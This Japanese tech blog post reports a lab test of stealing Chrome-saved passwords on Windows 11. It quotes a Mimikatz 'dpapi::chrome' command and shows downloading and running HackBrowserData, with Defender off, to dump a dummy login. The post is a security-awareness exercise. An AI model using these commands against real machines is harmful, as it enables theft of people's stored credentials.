Chromeに保存したパスワード取得を検証してみた

# はじめに
これは、「[富士通クラウドテクノロジーズ Advent Calendar 2023](https://qiita.com/advent-calendar/2023/fjct)」の3日目の記事です。
昨日は@heriet さんの「smithy-rsでニフクラのRust SDKを生成を試す」が投稿されていることでしょう。

# 本題
プライベートにおいて、何気なく**ブラウザに保存しているパスワード**。
これらは、何らかの脆弱性を起点に攻撃者に端末に侵入された際は、容易に取得されるかもしれません。
今回は実際に、ブラウザに保存されたパスワードを**認証を回避して取得する方法**を実際に試してみることで、ふんわりなイメージの脅威の実態を把握することを目標とします。

# 事前調査
### 認証情報の取得の典型例
実際に攻撃者はパスワードのような認証情報を取得するためにどのようなツールを利用するのでしょうか。主に、ランサムウェア攻撃で悪用されてきたツールについてまとめた記事[^1]では、認証情報取得のツールとして[Mimikatz](https://github.com/gentilkiwi/mimikatz)が紹介されていました。

Mimikatzは主に特権ユーザーが攻撃者に獲得されている前提で様々な認証情報を取得することが出来るツールです。そんなMimikatzを利用することでChromeで保存したパスワードを取得することはできるのでしょうか。

「mimikatz browser password」で検索してみると、以下のサイトがヒットしました。

https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

特権ユーザーとして以下のコマンドを実行できれば簡単に認証情報が取得出来てしまいます
`dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect`
ただし、このコマンドで認証情報を取得するには特権ユーザーが必要です。また、同記事ではもう一つのハードルとしてMimikatzバイナリをターゲットコンピュータにアップロードする必要があることも挙げています。

Mimikatzのバイナリファイルについては、リリースサイトからダウンロードしようとすると通常はブラウザのセキュリティ保護機能でキャンセルされます。保護機能を解除したとしても、Windows Defenderの機能を有効にしていると実行時にエラーが表示されexeファイルそのものが自動的に消去されます。

これらを回避するために、記事ではpsexecを利用した手法が紹介されていますが、今回は特権ユーザーではないローカルユーザーでもパスワードを取得できる方法を探すことにします。

### Mimikatz以外の手段
dpapiについて調べていると、以下のQiita記事がヒットしました
Chromeのパスワード保存の方法を整理してC言語でパスワード取得までの実装を行っています（強い）

Chromeに保存されているパスワードを解読してみる
https://qiita.com/Pavaux/items/9bf7597e2697bb6decc0

また、上記と同様の手段かは分かりませんが、ブラウザー保存されたパスワードを特権ユーザーなしで取得するツールがGithub上でGoによる実装で公開されています
https://github.com/moonD4rk/HackBrowserData
今回はこのツールを利用してブラウザに保存されたパスワードを取得することができるかを試すことにしました

# 検証内容
## 検証環境
- OS: Windows 11 Home
- バージョン：22H2
- ターミナル：windows PowerShell
- microsoft defender（リアルタイム保護）：オフ

## Chromeの設定
今回の検証用のアカウントを作成し、Chromeに設定した
取得目標とするパスワードについては `test-password-extract.com`という仮想のサイトを想定しパスワードマネージャーへ登録した

![スクリーンショット 2023-12-01 223158.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/233070/c05949e3-5934-7ca4-fc01-d9a2167f4559.png)

このパスワードをchrome上で閲覧しようとするとWindowsの認証が必要となる

![スクリーンショット 2023-12-01 223222.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/233070/b0f615ab-9040-2880-ce82-9daa9783c3c9.png)

OSのパスワードを入力して、承認されることでIDとパスワード情報が閲覧できる
今回はIDは`lab`、パスワードは `1234` という非常に脆弱なものを設定した

![スクリーンショット 2023-12-01 223245.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/233070/bf3d6d8a-36ab-8d89-fc70-9aad4e7b86be.png)

## 手順
- ファイルのダウンロード
  - Microsoft Defenderのリアルタイム保護機能をONにしていると、ダウンロードが完了するとWindowsDefenderで「望ましくない可能性のあるアプリが見つかりました」として検知される
`wget https://github.com/moonD4rk/HackBrowserData/releases/download/v0.4.4/hack-browser-data-windows-64bit.zip -OutFile hack.zip`
- ファイルの解凍
  - 解凍後は以下のようなファイルが展開される

```
PS C:\Users\lab\Downloads\hack-browser-data-windows-64bit> ls


    ディレクトリ: C:\Users\lab\Downloads\hack-browser-data-windows-64bit


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        2023/12/01     22:24        8162816 hack-browser-data-windows-64bit.exe
```
ヘルプコマンドを実行すると以下のように説明が表示される
尚、私が実行を試した20231201時点ではこのexeファイルの実行はMicrosoft Defenderのリアルタイム保護機能をONにしていた場合阻止されている。そのため、Mimikatz同様攻撃者はツールの活用に工夫が必要となるだろう。

```
PS C:\Users\lab\Downloads\hack-browser-data-windows-64bit> .\hack-browser-data-windows-64bit.exe -h
NAME:
   hack-browser-data - Export passwords/cookies/history/bookmarks from browser

USAGE:
   [hack-browser-data -b chrome -f json -dir results -cc]
   Export all browingdata(password/cookie/history/bookmark) from browser
   Github Link: https://github.com/moonD4rk/HackBrowserData

VERSION:
   0.4.3

GLOBAL OPTIONS:
   --verbose, --vv                   verbose (default: false)
   --compress, --zip                 compress result to zip (default: false)
   --browser value, -b value         available browsers: all|360|brave|chrome|chrome-beta|chromium|coccoc|edge|firefox|opera|opera-gx|qq|vivaldi|yandex (default: "all")
   --results-dir value, --dir value  export dir (default: "results")
   --format value, -f value          file name csv|json (default: "csv")
   --profile-path value, -p value    custom profile dir path, get with chrome://version
   --help, -h                        show help (default: false)
   --version, -v                     print the version (default: false)
```

今回は対象をChromeにするオプションのみを利用してその他はデフォルトのまま実行した

```
PS C:\Users\lab\Downloads\hack-browser-data-windows-64bit> .\hack-browser-data-windows-64bit.exe -b chrome
[NOTICE] [browser.go:73,pickChromium] find browser chrome_default success
[NOTICE] [browser.go:73,pickChromium] find browser chrome_guest_user success
[ERROR] [main.go:60,func1] open C:\Users\lab\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies: The process cannot access the file because it is being used by another process.
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x0 pc=0x127837b]

goroutine 1 [running]:
hack-browser-data/internal/browingdata.(*Data).Output(0xc000307260?, {0x14674b9, 0x7}, {0xc0003f6610, 0xe}, {0x1462217?, 0x0?})
        /source/internal/browingdata/browsingdata.go:51 +0x7b
main.Execute.func1(0xc00015e240?)
        /source/cmd/hack-browser-data/main.go:62 +0x23e
github.com/urfave/cli/v2.(*App).RunContext(0xc00004fba0, {0x14ebf48?, 0xc0000220c8}, {0xc000068040, 0x3, 0x4})
        /go/pkg/mod/github.com/urfave/cli/v2@v2.4.0/app.go:322 +0x97c
github.com/urfave/cli/v2.(*App).Run(...)
        /go/pkg/mod/github.com/urfave/cli/v2@v2.4.0/app.go:224
main.Execute()
        /source/cmd/hack-browser-data/main.go:73 +0x7f6
main.main()
        /source/cmd/hack-browser-data/main.go:24 +0x17
```

どうやらブラウザを起動していると`C:\Users\lab\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies`のデータを読み取れないらしい
そのため、ブラウザを閉じて再度実行する

```
PS C:\Users\lab\Downloads\hack-browser-data-windows-64bit> .\hack-browser-data-windows-64bit.exe -b chrome
[NOTICE] [browser.go:73,pickChromium] find browser chrome_default success
[NOTICE] [browser.go:73,pickChromium] find browser chrome_guest_user success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_localstorage.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_history.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_password.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_bookmark.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_extension.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_download.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_default_cookie.csv success
[NOTICE] [browsingdata.go:71,Output] output to file results/chrome_guest_user_bookmark.csv success
```

色々引っこ抜いた様子が伺える
実際に、出力されたファイル群のうちパスワードが保存されているであろう `chrome_default_password.csv`の中身を確認する

```
UserName,Password,LoginURL,CreateDate
lab,1234,https://test-password-extract.com/,2023-11-29T06:54:36.100323+09:00
```

しっかりIDとパスワードの情報が出力されていた

## 終わりに

今回は何気なく保存しているブラウザ上のパスワードがいかに簡単に取得できるかをツールを用いて検証してみました。Microsoft Defenderがしっかり悪意のあるソフトウェアを検知・対処してくれることが分かりつつ、これが無い場合には容易にChromeのブラウザに保存したパスワードを取得可能なことが分かりました。
今回は執筆までの時間をあまりとれなかったため、ツールのソースコードがどのような挙動をしているのかやMicrosoft Defenderを回避して実行するにはどうすればいいか等の検証まではできませんでしたがlssasやケルベロスチケット、DPAPI等のwindows周りのセキュリティについて知る良い機会となりました

明日は @norikmb さんで「CIを使ったDBのテストについて」とのことです。
CIを使ったテストはDevOpsにおいて欠かせない要素ですが、DBについてはどのようなテストを行う必要があるのか興味深いです。

それでは皆様、良い年末を。

## 参考情報
- https://github.com/gentilkiwi/mimikatz
- https://tools.thehacker.recipes/mimikatz/modules/dpapi/chrome
- https://tools.thehacker.recipes/mimikatz/modules
- https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

[^1]:https://www.trendmicro.com/ja_jp/research/21/i/describing-legitimate-tools-exploited-for-ransomware-attacks.html